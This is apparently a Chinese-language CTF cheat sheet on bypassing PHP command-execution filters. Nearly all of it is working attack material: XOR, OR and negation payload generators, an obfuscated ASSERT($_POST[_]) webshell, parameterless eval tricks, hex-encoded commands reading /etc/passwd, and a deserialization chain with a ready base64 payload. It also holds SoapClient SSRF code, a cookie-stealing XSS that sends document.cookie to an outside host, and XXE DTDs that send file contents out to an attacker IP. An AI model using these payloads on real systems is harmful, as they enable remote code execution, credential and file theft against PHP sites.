param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
print(param)

rce_or.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);

rce_取反.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

function negateRce(){
fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}

negateRce();
自增(PHP=5)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
1
?shell=$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);
1
_=system("whoami");

无数字字母 system

上传临时文件,然后执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>命令执行-upload</title>
</head>
<body>
<form action="https://8b8486a3-6e53-472e-9acb-a96c6b6ab23b.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<label for="file">选择文件:</label>
<input type="file" name="file" />
<input type="submit" value="Upload" />
</form>

<!-- <script>
document.querySelector('form').submit();
</script> -->
</body>
</html>
1
. /tmp/????????+一个大写字母
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
POST /?c=.%20/???/????????[@-[] HTTP/1.1
Host: 8b8486a3-6e53-472e-9acb-a96c6b6ab23b.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----geckoformboundary7e85db62d4236557bbc2a910f7edb9b9
Content-Length: 233
Origin: http://127.0.0.1
Referer: http://127.0.0.1/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive

------geckoformboundary7e85db62d4236557bbc2a910f7edb9b9
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/plain

#/bin/sh

cat flag.php
------geckoformboundary7e85db62d4236557bbc2a910f7edb9b9--

无引号

1
2
3
4
var_dump(scandir(chr(47)));
var_dump(file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103).chr(95).chr(49).chr(115).chr(95).chr(104).chr(101).chr(114).chr(101).chr(47).chr(102).chr(108).chr(97).chr(103).chr(95).chr(56).chr(51).chr(49).chr(98).chr(54).chr(57).chr(48).chr(49).chr(50).chr(99).chr(54).chr(55).chr(98).chr(51).chr(53).chr(102).chr(46).chr(112).chr(104).chr(112)));

readfile(implode(array(chr(47),chr(102),chr(108),chr(97),chr(103))));#如果不能有数字的话 可以用 ture 拼接

无参

无参数RCE绕过的详细总结(六种方法)_无参数的取反rce-CSDN博客

顾名思义,调用函数的时候内部参数只能是函数,而不能有参数。

1
2
3
4
5
6
7
8
9
10
11
12
var_dump(scandir(current(localeconv()))); //查看当前目录下的文件
print_r(scandir(next(scandir(getcwd()))))//扫上级目录
highligth_file(next(array_reverse(scandir(current(localeconv())))));//读倒数第二个文件

var_dump(end(getallheaders()));//在请求头最后一行写恶意php代码,局限于 apache

a=eval(end(current(get_defined_vars())));&b=system('ls /');//最通用的方法
?b=system("tac flag.php");&c=eval(pos(pos(get_defined_vars())));//current = pos 获取数组第一个

eval(hex2bin(session_id(session_start())));//把想要执行的命令进行十六进制编码后,替换掉‘Cookie:PHPSESSID=’后面的值

?code=eval(reset(array_reverse(current(get_defined_vars()))));&b=system("cat%20flag.php");

短标签特性

1
2
3
4
5
6
?1=<?`$_GET[2]`; 
//短标签加反引号自动执行
//反引号相当于 无回显的 exec_shell
//当 <?= 就是 <?echo
//我们让 exec_shell 有了回显
//注释符号的优先级小于闭合符

过滤引号和所有读文件(PHP<8)

仅对 PHP<8,PHP版本变高后必须加引号才能被识别为 str。

1
echo(bin2hex("system('cat /etc/passwd');"));
1
2
3
4
php -r eval(hex2bin(substr(_刚才的内,1)))
加 _ 又去掉的原因:把16进制加上 _ 会识别为str 而不是数。

php -r eval(hex2bin(substr(_73797374656d2827636174202f6574632f70617373776427293b,1)));

过滤除了进制转换函数外的所有字母

2024ciscn初赛WP - “我不是二次元!”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//_GET=hex2bin(5f474554) hex2bin 函数把十六进制值的字符串转换为 ASCII 字符
//5f474554=dechex(1598506324)

//hex2bin将hex2bin看作是一个36进制数,用10制转换来表示该36进制数

//base_convert()函数将10进制数转化为36进制的hex2bin

//dechex --> 将10进制数转换为16进制,使得16进制数能够逃逸

$pi=base_convert(37907361743,10,36)//代替 hex2bin
(dechex(1598506324));

($$pi){pi}(($$pi){cos})

&pi=system&cos=cat /flag

存在 disable_function

  • 蚁剑插件绕过
  • 同义函数替代
    • 读文件:file_get_contents() / highlight_file() / show_source() / readfile() / readgzfile() / print_r(file()) = include() 非php文件 = require() 非php文件

原生类

SplFileObject

读取文件后返回第一行,可以配合伪协议过滤读出。

1
2
3
4
5
<?php
$a = new SplFileObject("php://filter/read=convert.base64-encode/resource=F.php");
echo $a;

echo base64_decode($a);

例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
public $name;
public $rank;
private $salary;
public function __construct($name,$rank,$salary = 10000){
$this->name = $name;
$this->rank = $rank;
$this->salary = $salary;
}
}

class classroom{
public $name;
public $leader;
public function __construct($name,$leader){
$this->name = $name;
$this->leader = $leader;
}
public function hahaha(){
if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
return False;
}
else{
return True;
}
}
}

class school{
public $department;
public $headmaster;
public function __construct($department,$ceo){
$this->department = $department;
$this->headmaster = $ceo;
}
public function IPO(){
if($this->headmaster == 'ong'){
echo "Pretty Good ! Ctfer!\n";
echo new $_POST['a']($_POST['b']);
}
}
public function __wakeup(){
if($this->department->hahaha()) {
$this->IPO();
}
}
}

if(isset($_GET['d'])){
unserialize(base64_decode($_GET['d']));
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php

class teacher{
public $name;
public $rank;
private $salary;
public function __construct($name,$rank,$salary = 10000){
$this->name = $name;
$this->rank = $rank;
$this->salary = $salary;
}
}

class classroom{
public $name;
public $leader;
public function __construct($name,$leader){
$this->name = $name;
$this->leader = $leader;
}
public function hahaha(){
if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
return False;
}
else{
return True;
}
}
}

class school{
public $department;
public $headmaster;
public function __construct($department,$ceo){
$this->department = $department;
$this->headmaster = $ceo;
}
public function IPO(){
if($this->headmaster == 'ong'){
echo "Pretty Good ! Ctfer!\n";
echo new $_POST['a']($_POST['b']);
}
}
public function __wakeup(){
if($this->department->hahaha()) {
$this->IPO();
}
}
}

$L = new teacher("ing",'department',1000);

$D = new classroom('one class',$L);

$a = new school($D,"ong");

$S = base64_encode(serialize($a));
//Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjozOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO3M6MTU6IgB0ZWFjaGVyAHNhbGFyeSI7aToxMDAwO319czoxMDoiaGVhZG1hc3RlciI7czozOiJvbmciO30=
echo $S;

GlobIterator,DirectoryIterator,FilesystemIterator

遍历文件目录。

1
$a = new GlobIterator("/*");foreach($a as $f){echo($f->__toString().'<br>');}
1
$a = new FilesystemIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}
1
2
3
4
$iterator = new DirectoryIterator('C:\\');
echo $iterator->getPathname();
?>
$a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}
1
2
3
4
<?php

$a = new DirectoryIterator("glob:///*f*");
echo $a;

SoapClient

该内置类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。而__call触发很简单,就是当对象访问不存在的方法的时候就会触发。

cftshow 259

1
2
3
4
5
6
7
8
9
<?php

$ua="test\r\nX-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";

$client=new SoapClient(null,array('uri'=>'127.0.0.1','location'=>'http://127.0.0.1:9999/flag.php','user_agent'=>$ua));

$client->AAA();
//echo urlencode(serialize($client));
?>

记得修改 Content-Length 使得下面失效。

直接传进去就行。

ZipArchive

主要利用的是ZipArchive::open,写入文件,把模式改成 overwrite 删除文件。

1
2
3
4
<?php
$a = new ZipArchive();
$a -> open("1.txt", ZipArchive::OVERWRITE);
$a -> open("1.txt", 8);

Error,Exception:XSS/Hash

XSS

Error:php7,定义一个 error 类,当反序列化的 object 被当作字符串调用,触发 _tostring

1
2
3
4
5
6
7
8
<?php
$a=new Error("<script>alert('xss')</script>");
echo urlencode(serialize($a));

<?php
$a=new Exception('<script>window.open("http://9f5ea2b6-a58d-4d22-82c7-eeb923f3d9a6.node5.buuoj.cn:81/"+document.cookie)</script>');
//一般Xss题目flag在Cookie里
echo urlencode(serialize($a));

Exception:php5,其他同理。

哈希

1
2
3
4
<?php
$a = new Error("payload",1);$b = new Error("payload",2);
echo $a;
echo $b;

ReflectionFunctionAbstract

ReflectionFunctionAbstract::getDocComment(),获取类中各个函数注释内容

1
2
3
4
5
6
7
8
9
10
11
<?php
class Flag{
/**
* flag{test}
*/
public function givemeflag(){
return 123;
}
}
$a=new ReflectionMethod('Flag','givemeflag');
echo $a->getDocComment();

SimpleXMLElement

这个类 construct 的时候可以访问 xml 并带出文件内容。

evl.xml

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE try[
<!ENTITY % int SYSTEM "http://192.168.42.128:1234/send.xml">
%int;
%all;
%send;
]>

send.xml

1
2
<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=test.php">
<!ENTITY % all "<!ENTITY &#37; send SYSTEM 'http://192.168.42.128:1234/?%payl;'>">

flag.php

1
2
<?php
$a = new SimpleXMLElement("http://192.168.42.128:1234/evl.xml",2,true);

当服务器访问时,先加载正常的 xml 文件,然后在跳板到 DTD 代码中执行具体操作。最后解码日志,得到文件具体内容。

image-20250911170041932

image-20250911165416168

ReflectionClass

查看类的信息,用法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

class A{
public function hello(){
echo "qwq";
}
}
# PHP<=7.4
//ReflectionClass::export();

ReflectionClass::export('A');

# PHP >7.4

$a = new ReflectionClass("A");
echo $a;# __toString 方法

Closure

一个可以调任意函数的类。

1
Closure::fromCallable("system")("whoami");

反序列化

详见 PHP 反序列化。